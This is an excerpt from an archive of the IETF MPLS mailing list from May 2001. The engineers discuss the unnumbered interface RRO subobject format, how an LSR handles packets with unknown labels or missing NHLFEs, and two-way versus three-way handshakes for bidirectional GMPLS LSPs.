	for mpls-outgoing; Wed, 23 May 2001 16:11:34 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqgu26519
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 16:11:20 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqgu17089
	for <mpls@uu.net>; Wed, 23 May 2001 16:10:06 GMT
Received: from magenta.juniper.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint.juniper.net [207.17.136.129])
	id QQkqgu07322
	for <mpls@uu.net>; Wed, 23 May 2001 16:10:05 GMT
Received: from garnet.juniper.net (garnet.juniper.net [172.17.28.17])
	by magenta.juniper.net (8.11.3/8.11.3) with ESMTP id f4NGA4a11855;
	Wed, 23 May 2001 09:10:04 -0700 (PDT)
	(envelope-from yakov@juniper.net)
X-JNPR-Received-From: outside
Received: from garnet.juniper.net (localhost.juniper.net [127.0.0.1])
	by garnet.juniper.net (8.11.3/8.11.3) with ESMTP id f4NGA4F83551;
	Wed, 23 May 2001 09:10:04 -0700 (PDT)
	(envelope-from yakov@garnet.juniper.net)
Message-Id: <200105231610.f4NGA4F83551@garnet.juniper.net>
To: Nic Larkin <NPL@dataconnection.com>
cc: "'Arumugam R'" <arumugamr@future.futsoft.com>,
        Juniper - Kireeti Kompella <kireeti@juniper.net>, yakov@juniper.net,
        "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: Unnumbered interface IDs in RROs 
In-Reply-To: Your message of "Wed, 23 May 2001 15:11:24 BST."
             <37701240971DD31193970000F6CCB9F7019F6D7A@duke.datcon.co.uk> 
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <83548.990634204.1@garnet.juniper.net>
Date: Wed, 23 May 2001 09:10:04 -0700
From: Yakov Rekhter <yakov@juniper.net>
Sender: owner-mpls@UU.NET
Precedence: bulk

Nic,

> Arumugam, Kireeti, Yakov,
> 
> It sounds like we now have a consensus of two :-), proposing that the
> Unnumbered Interface RRO subobject should look like this.
> 
>     0                   1                   2                   3
>     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
>    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>    |      Type     |     Length    |     Flags     | Reserved (MBZ)|
>    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>    |                           Router ID                           |
>    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>    |                     Interface ID (32 bits)                    |
>    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
> 
> The Length is now 12.
> 
> An aside: in order to convert such an object into an ERO hop subobject for
> RSVP "pinning", implementations will need to zero out the Flags field.
> 
> Kireeti, Yakov: do you agree with the proposed extension?

I personally have no objections against your proposal.

Yakov.


From owner-mpls@UU.NET  Wed May 23 12:28:56 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA09008
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 12:28:56 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqgv12509;
	Wed, 23 May 2001 16:26:11 GMT
Received: by mail-control.mail.uu.net 
	id QQkqgv28110
	for mpls-outgoing; Wed, 23 May 2001 16:25:39 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqgv28095
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 16:25:27 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqgv07552
	for <mpls@uu.net>; Wed, 23 May 2001 16:24:03 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkqgv14000
	for <mpls@uu.net>; Wed, 23 May 2001 16:24:02 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA25124
	for <mpls@uu.net>; Wed, 23 May 2001 12:23:59 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA05439
	for <mpls@uu.net>; Wed, 23 May 2001 12:24:00 -0400 (EDT)
Message-ID: <3B0BE41D.4485EFC8@marconi.com>
Date: Wed, 23 May 2001 12:23:57 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: What to do when label has error?
References: <F61DgC81TbdkSmLAztx0001b250@hotmail.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Sherry Wei wrote:
> 
> ILM is incoming label mapping. I guess if the route can't find ILM
> entrance according to the incoming label. It still can strip off the
> label stack and send to IP forwarding processing. Only in the case
> of FEC can't find, the packet has to be dropped definitely.

If the ILM is missing, then you have absolutely no idea what kind of
data may be in that packet.  This is by definition.  If you knew, then
you would have an ILM entry.

Since you don't know what the packet contains, you MUST NOT assume that
it contains IP data.

The best you can hope for in this case is to pop the label stack, and
see if there's another label underneath that you do have an ILM for.  If
not, then you have no choice but to drop the content.

-- David


From owner-mpls@UU.NET  Wed May 23 13:19:07 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA10273
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 13:19:06 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqgy00995;
	Wed, 23 May 2001 17:10:04 GMT
Received: by mail-control.mail.uu.net 
	id QQkqgy21472
	for mpls-outgoing; Wed, 23 May 2001 17:09:31 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqgy21463
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 17:09:20 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqgy25430
	for <mpls@UU.NET>; Wed, 23 May 2001 17:08:09 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkqgy28029
	for <mpls@UU.NET>; Wed, 23 May 2001 17:08:09 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 4C13A94006; Wed, 23 May 2001 13:08:09 -0400 (EDT)
Message-ID: <3B0BEE79.37FE8BE2@sandburst.com>
Date: Wed, 23 May 2001 13:08:09 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: David Charlap <david.charlap@marconi.com>
Cc: mpls@UU.NET
Subject: Re: What to do when label has error?
References: <F118yY0QUUBPcZi71mr0001acbe@hotmail.com> <003001c0e375$b8cd1260$150d85a5@dti.daewoo.co.kr> <3B0BCA23.C9DA581B@marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

David,

    LDP only supports IPv4 and IPv6 FECs, consequently it should
be fair to assume that packets transported using such an LSP are
either IPv4 packets, IPv6 packets, or (hierarchically) MPLS labeled
packets enroute to a known IP (v4 or v6) address.  This is the case,
because an LDP-based LSP will move around based on IPv4 (and,
someday, IPv6) routing therefore, the packets transported MUST
be destination addressed as expected if there is only one label.

    An implementation may elect to retain state relative to the FEC
used to establish it.  In fact, some implementations may not be able
to discard this state information.  An implementation can also easily
tell when a packet only has one label. Therefore, in the LDP case,
it is not the uncommon case that a packet can be forwarded.

    Under the same conditions, if an LSR decides to drop such packets,
the likelihood that it will be able to successfully route ICMP messages
back to the source of the message is the same (in the single label case)
as it would be if the packet had been routed using IP instead of MPLS.
Therefore, it should not be a problem to handle ICMP error processing
in the LDP, single label case.

    The multiple label case is different, however, I recently had a trace
pointed out to me where a two-level labeled MPLS packet was being
used to carry an ICMP echo message where the reply was being sent
using simple IPv4.  Therefore, empirically, it would appear that there
may be applications where - even in the multiple label scenario - a
user may decide to configure their network to deal with it...

--
Eric Gray

You wrote:

> Akshat Kapoor wrote:
> >
> >     Refer to rfc 3031 section 3.18 and 3.22. If the LSR can
> > determine through some external means that forwarding the packet is
> > not going to result in a loop (or any other harm) than it can
> > forward the packet.
>
> And this is a big IF.  When LDP or CR-LDP are used to signal the LSP, a
> transit router has no way of knowing for certain if the payload contains
> IP packets or something else.  (RSVP-TE carries the L3 protocol ID in
> the LABEL_REQUEST objects, so transit routers should know if the payload
> is IP or not, assuming that the ingress node didn't lie about it.)
>
> > Otherwise it MUST drop the packet.  The rfc is silent about
> > generating ICMP messages in such a situation.
>
> ICMP is only meaningful if the payload is IP.  If it's something else,
> ICMP would be completely inappropriate.
>
> -- David



From owner-mpls@UU.NET  Wed May 23 13:26:38 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA10450
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 13:26:38 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqgz03807;
	Wed, 23 May 2001 17:24:52 GMT
Received: by mail-control.mail.uu.net 
	id QQkqgz23165
	for mpls-outgoing; Wed, 23 May 2001 17:24:19 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqgz23155
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 17:24:10 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqgz10657
	for <mpls@UU.NET>; Wed, 23 May 2001 17:23:04 GMT
Received: from sandmail.sandburst.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkqgz23817
	for <mpls@UU.NET>; Wed, 23 May 2001 17:23:04 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id E72F994006; Wed, 23 May 2001 13:22:58 -0400 (EDT)
Message-ID: <3B0BF1F2.657B97C9@sandburst.com>
Date: Wed, 23 May 2001 13:22:58 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: David Charlap <david.charlap@marconi.com>
Cc: mpls@UU.NET
Subject: Re: What to do when label has error?
References: <F118yY0QUUBPcZi71mr0001acbe@hotmail.com> <3B0BCB11.2948CC73@marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

David,

    I agree with the 'spirit' of what you are saying, however, an ILM
and no NHLFE makes no sense.  An ILM maps an incoming label
to a set of NHLFEs and - while it is not explicitly stated - such a
set makes no sense if empty.

    I believe what you are getting at is that an LSR that gets a label
it knows nothing about will discard the packet.  This I agree with.
However, how an implementation deals with the case where it
knows of a label which it has given out and it currently has no usable
NHLFEs for that label, is a local matter for the implementation.  In
other words, how an implementations 'memory' of the labels it has
given out maps to an 'ILM' is an internal issue.

    For example, many implementations might use a 'default' NHLFE
which looks, acts and even quacks like a bit-bucket.  This would
allow them to have a useful ILM when there is no useable next hop
information at the time.  But such an implementation may also have
a set of NHLFEs that are more sophisticated.

--
Eric Gray

You wrote:

> Sherry Wei wrote:
> >
> > I have a doubt about the real operation in the case that the LSR
> > can't find the according ILM or NHLFE.
>
> If the ILM is not found, then the packet is dropped.  There is no
> question about this.
>
> If there is an ILM but no NHLFE, then the router will probably drop the
> packet.  If the router is able to forward the payload without looping
> (which implies that the router knows what the L3 protocol is), then it
> may pop the label and forward the payload as an unlabeled packet.  If it
> can not be certain what the payload is, or can not guarantee that it
> won't loop, then it must drop the packet.
>
> -- David



From owner-mpls@UU.NET  Wed May 23 13:43:24 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA10817
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 13:43:23 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqha09927;
	Wed, 23 May 2001 17:42:01 GMT
Received: by mail-control.mail.uu.net 
	id QQkqha24824
	for mpls-outgoing; Wed, 23 May 2001 17:41:24 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqha24819
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 17:41:22 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqha05649
	for <mpls@UU.NET>; Wed, 23 May 2001 17:41:18 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkqha09555
	for <mpls@UU.NET>; Wed, 23 May 2001 17:41:18 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 176E794006; Wed, 23 May 2001 13:41:18 -0400 (EDT)
Message-ID: <3B0BF63E.BF20E6DC@sandburst.com>
Date: Wed, 23 May 2001 13:41:18 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: David Charlap <david.charlap@marconi.com>
Cc: mpls@UU.NET
Subject: Re: What to do when label has error?
References: <F61DgC81TbdkSmLAztx0001b250@hotmail.com> <3B0BE41D.4485EFC8@marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

David,

    If you did not give out the top label, it could be a very
bad thing to use the second label - just because it is one
you recognize.  Labels are not globally distinguishable -
and you are deciding to trust the use of labels by a sender
who is already demonstrating untrustworthiness.  Could
be very bad...

--
Eric Gray

You wrote:

> Sherry Wei wrote:
> >
> > ILM is incoming label mapping. I guess if the route can't find ILM
> > entrance according to the incoming label. It still can strip off the
> > label stack and send to IP forwarding processing. Only in the case
> > of FEC can't find, the packet has to be dropped definitely.
>
> If the ILM is missing, then you have absolutely no idea what kind of
> data may be in that packet.  This is by definition.  If you knew, then
> you would have an ILM entry.
>
> Since you don't know what the packet contains, you MUST NOT assume that
> it contains IP data.
>
> The best you can hope for in this case is to pop the label stack, and
> see if there's another label underneath that you do have an ILM for.  If
> not, then you have no choice but to drop the content.
>
> -- David



From owner-mpls@UU.NET  Wed May 23 13:55:05 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA11150
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 13:55:05 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqhb14834;
	Wed, 23 May 2001 17:53:28 GMT
Received: by mail-control.mail.uu.net 
	id QQkqhb26478
	for mpls-outgoing; Wed, 23 May 2001 17:52:59 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqhb26456
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 17:52:48 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqhb22822
	for <mpls@UU.NET>; Wed, 23 May 2001 17:52:03 GMT
From: suchauhan@hss.hns.com
Received: from hindon.hss.co.in by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.26.202])
	id QQkqhb15015
	for <mpls@UU.NET>; Wed, 23 May 2001 17:51:59 GMT
Received: from sandesh.hss.hns.com (localhost [127.0.0.1])
	by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f4NHqcT26817;
	Wed, 23 May 2001 23:22:39 +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id 65256A55.0060BAF1 ; Wed, 23 May 2001 23:06:33 +0530
X-Lotus-FromDomain: HSS
To: Eric Gray <eric.gray@sandburst.com>
cc: David Charlap <david.charlap@marconi.com>, mpls@UU.NET
Message-ID: <65256A55.0060B7FD.00@sandesh.hss.hns.com>
Date: Wed, 23 May 2001 23:06:20 +0530
Subject: Re: What to do when label has error?
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk



hi all!
     just a few points I would like to state.
regards
sumit




Eric Gray <eric.gray@sandburst.com> on 05/23/2001 10:52:58 PM

To:   David Charlap <david.charlap@marconi.com>
cc:   mpls@UU.NET (bcc: Sumit Chauhan/HSS)

Subject:  Re: What to do when label has error?




David,

    I agree with the 'spirit' of what you are saying, however, an ILM
and no NHLFE makes no sense.  An ILM maps an incoming label
to a set of NHLFEs and - while it is not explicitly stated - such a
set makes no sense if empty.
######sumit######
I agree with the fact that an ILM without an NHLFE does not make too much sense
as at the time of creating an ILM I guess it is almost mandatory to have one or
more NHLFE mappings to it. I think the current specs definitely are written
assuming this.
#################

    I believe what you are getting at is that an LSR that gets a label
it knows nothing about will discard the packet.  This I agree with.
However, how an implementation deals with the case where it
knows of a label which it has given out and it currently has no usable
NHLFEs for that label, is a local matter for the implementation.  In
other words, how an implementations 'memory' of the labels it has
given out maps to an 'ILM' is an internal issue.

    For example, many implementations might use a 'default' NHLFE
which looks, acts and even quacks like a bit-bucket.  This would
allow them to have a useful ILM when there is no useable next hop
information at the time.  But such an implementation may also have
a set of NHLFEs that are more sophisticated.
#######sumit#######
considering the fact that MPLS is running in the core network, IMHO having the
concept of a default NHLFE would be as appealing as having a default route in a
network core router, which is not so appealing at all. Hence I think it is
necessary to have a completely legitimate NHLFE for every ILM entry.
###################
--
Eric Gray

You wrote:

> Sherry Wei wrote:
> >
> > I have a doubt about the real operation in the case that the LSR
> > can't find the according ILM or NHLFE.
>
> If the ILM is not found, then the packet is dropped.  There is no
> question about this.
>
> If there is an ILM but no NHLFE, then the router will probably drop the
> packet.  If the router is able to forward the payload without looping
> (which implies that the router knows what the L3 protocol is), then it
> may pop the label and forward the payload as an unlabeled packet.  If it
> can not be certain what the payload is, or can not guarantee that it
> won't loop, then it must drop the packet.
>
> -- David







From owner-mpls@UU.NET  Wed May 23 14:54:51 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA12125
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 14:54:50 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqhf00269;
	Wed, 23 May 2001 18:53:59 GMT
Received: by mail-control.mail.uu.net 
	id QQkqhf21531
	for mpls-outgoing; Wed, 23 May 2001 18:53:27 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqhf21524
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 18:53:25 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqhf12075
	for <mpls@UU.NET>; Wed, 23 May 2001 18:52:42 GMT
Received: from mail-blue.research.att.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-blue.research.att.com [135.207.30.102])
	id QQkqhf29233
	for <mpls@UU.NET>; Wed, 23 May 2001 18:52:37 GMT
Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id 247FD4DCB5; Wed, 23 May 2001 14:52:33 -0400 (EDT)
Received: from research.att.com (pc-summer-gli.research.att.com [135.207.26.95])
	by bigmail.research.att.com (8.8.8/8.8.8) with ESMTP id OAA18416;
	Wed, 23 May 2001 14:52:17 -0400 (EDT)
Message-ID: <3B0C07D3.8FC0DF4B@research.att.com>
Date: Wed, 23 May 2001 14:56:19 -0400
From: Guangzhi Li <gli@research.att.com>
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: John Drake <jdrake@calient.net>
Cc: "'Adam Shepherd'" <AS@dataconnection.com>, ccamp@ops.ietf.org, mpls@UU.NET
Subject: Re: Timing of the upstream data path establishment
References: <A1AFE5CF886C5D439494D9D5DE84EEF3737041@radiant.chromisys.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Adam:

I think it is a concern. When the egress node receives the Path message, the
reverse direction may not be functional. Two situations may happen:
(1) An implementation may not wait for the completion of reverse path
programming (cross-connect in transport network) before forwarding the Path
message.
(2) Bi-directional contention happened.

It is important for the egress node to know when the reverse direction path is
functional. Two-way handshaking may not provide enough information. But for
unidirectional LSPs and PSC LSPs, there may not be an issue. Since GMPLS is
assumed to support unidirectional LSPs and PSC LSPs, it may not be approrate to
require three-way handshaking mandatory.

Your suggestion of ResvConfim indication flag is interesting. It should work.

Thanks,

-- Guangzhi

John Drake wrote:

> Adam,
>
> I don't think that this is an issue.  Suggested label allows a node to begin
> to establish the forward direction as it progresses the Path message.  Since
> it controls the labels in the reverse direction, it can also begin to
> establish the reverse direction concurrently.

I think Adam's question is about the time when the egress node is able to send
data.
(1) After receiving Path message ? or
(2) After receiving ResvConf if there is one ? or
(3) simply waiting for some random time ? or
(4) After receiving data from ingress node ?

(1) may loss data
(2) ok but ResvConf is optional
(3) is not determinated
(4) carriers may not feel confortable about this. Since ingress node may not
have data at this time.

> Thanks,
>
> John
> -----Original Message-----
> From: Adam Shepherd [mailto:AS@dataconnection.com]
> Sent: Wednesday, May 23, 2001 7:06 AM
> To: ccamp@ops.ietf.org; mpls@uu.net
> Subject: Timing of the upstream data path establishment
>
> Hi all
>
> We have been considering some issues regarding the timing of the
> establishment of the reverse direction data path for bidirectional LSPs in
> RSVP GMPLS.  We would be interested in input from the mailing list on
> whether these problems are significant, and if so, whether there is a strong
> enough case for modifying the drafts at this stage.
>
> The key factor is whether bidirectional LSP establishment is a 2-way
> handshake (Path, Resv), as currently, or a 3-way one (Path, Resv and
> mandatory ResvConf).  We believe that the 3-way handshake, as used in the
> OIF OUNI, potentially offers significant reductions in latency of
> establishing bidirectional LSPs for LSRs where hardware programming is slow.
> The motivation here is the same as for Suggested Label (described in
> draft-ietf-mpls-generalized-signaling section 3.4).
>
> 2-way handshake
> ---------------
>
> With 2-way handshaking, the egress LSR can send reverse direction data as
> soon as it receives the Path (as in GMPLS
> draft-ietf-mpls-generalized-rsvp-te, section 3.1, paragraph 4).  Transit
> LSRs must program the reverse direction data path before forwarding the Path
> across the network or there is a risk that reverse direction data will be
> lost.  ResvConf is optional, and if sent it does not affect the timing of
> the setup of the data path.
>
> The benefits of this are as follows.
>
> *       If the significant factor in latency is message propagation, then
> the latency for establishment of the reverse direction data path is one
> third as long as 3-way handshaking (the time taken for the Path message to
> cross the network, rather than Path, Resv, ResvConf).  Arguably, reverse
> direction latency is less important than downstream - the initiating LSR is
> the one that triggered the LSP establishment, so is more likely to have the
> immediate requirement to send data.
>
> *       Less signaling traffic and less processing required.  However
> ResvConf processing is probably not a very large proportion of overall load.
>
> 3-way handshake
> ---------------
>
> In this approach, ResvConf becomes mandatory for bidirectional LSPs, and the
> egress LSR cannot send reverse direction data until it has received this
> message (those familiar with the OIF OUNI will note this matches
> oif2000-125.4 Section 12.4.8, figure 12.1).  Transit LSRs may forward the
> Path message before completing reverse direction data path programming.
>
> The advantage of 3-way handshaking is as follows.  If hardware programming
> is the significant factor in latency, then latency is significantly reduced
> as we can parallelize hardware programming at each LSR.  Each LSR can start
> programming on receipt of the Path message (based on the Upstream Label and
> Suggested Label), but forward the message immediately.  The total latency is
> dominated by the maximum of each LSR's programming latency, rather than the
> sum.
>
> Dynamic selection
> -----------------
>
> As a third option, we propose a possible solution to support either 2-way or
> 3-way handshaking in RSVP GMPLS, at the choice of the LSRs involved.  By
> default, 2-way handshaking is used.  However, any LSR can delay programming,
> in which case, the egress LSR must be informed that a 3-way handshake is
> required.  The requirement for 3-way handshaking must be indicated in the
> Path message, and we propose using a RESV_CONFIRM object on the Path message
> to do so.
>
> In more detail, this works as follows.
>
> *       Any ingress or transit LSR MAY elect to enable 3-way handshaking and
> forward the Path message before completing programming of the reverse
> direction data path.  Typically it would do so because hardware programming
> is slow.  If it elects to do so, it MUST add a RESV_CONFIRM object to the
> Path message.
>
> *       A transit LSR receiving a Path message with a RESV_CONFIRM object
> SHOULD forward the Path message before completing programming of the reverse
> direction data path.  However it MAY choose not to do so.
>
> *       An egress LSR receiving a Path message with a RESV_CONFIRM object
> SHOULD include its own RESV_CONFIRM object in the Resv and it SHOULD NOT
> start to send reverse direction data until it receives the ResvConf message.
> (If it does send sooner, then data may be lost).
>
> *       Each LSR MUST complete programming of both directions before
> forwarding the Resv message.
>
> Moving Forward
> --------------
>
> We would be interested to get feedback from readers of this list on which
> option is preferred.  If it is felt that dynamic selection is best, then is
> the solution we have proposed suitable?
>
> Regards,
> Adam
>
> Adam Shepherd
> Network Convergence Group
> Data Connection Ltd
> -------------------
>
> Tel: +44 (0) 20 8366 1177                Fax: +44 (0) 20 8363 1468
> Email: adam.shepherd@dataconnection.com  Web: http://www.dataconnection.com



From owner-mpls@UU.NET  Wed May 23 15:13:25 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA12437
	for <mpls-archive@lists.ietf.org>; Wed, 23 May 2001 15:13:25 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqhg12567;
	Wed, 23 May 2001 19:11:12 GMT
Received: by mail-control.mail.uu.net 
	id QQkqhg12243
	for mpls-outgoing; Wed, 23 May 2001 19:10:34 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqhg12204
	for <mpls@mail-control.mail.uu.net>; Wed, 23 May 2001 19:10:17 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqhg14179
	for <mpls@UU.NET>; Wed, 23 May 2001 19:10:02 GMT
Received: from xover.mindspeed.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [38.160.241.130])
	id QQkqhg13362
	for <mpls@UU.NET>; Wed, 23 May 2001 19:10:01 GMT
Received: by XOVER.dedham.mindspeed.com with Internet Mail Service (5.5.2650.21)
	id <LLYA91L9>; Wed, 23 May 2001 15:10:00 -0400
Message-ID: <87009604743AD411B1F600508BA0F95971BAD5@XOVER.dedham.mindspeed.com>
From: "Saha, Sayandeb" <ssaha@netplane.com>
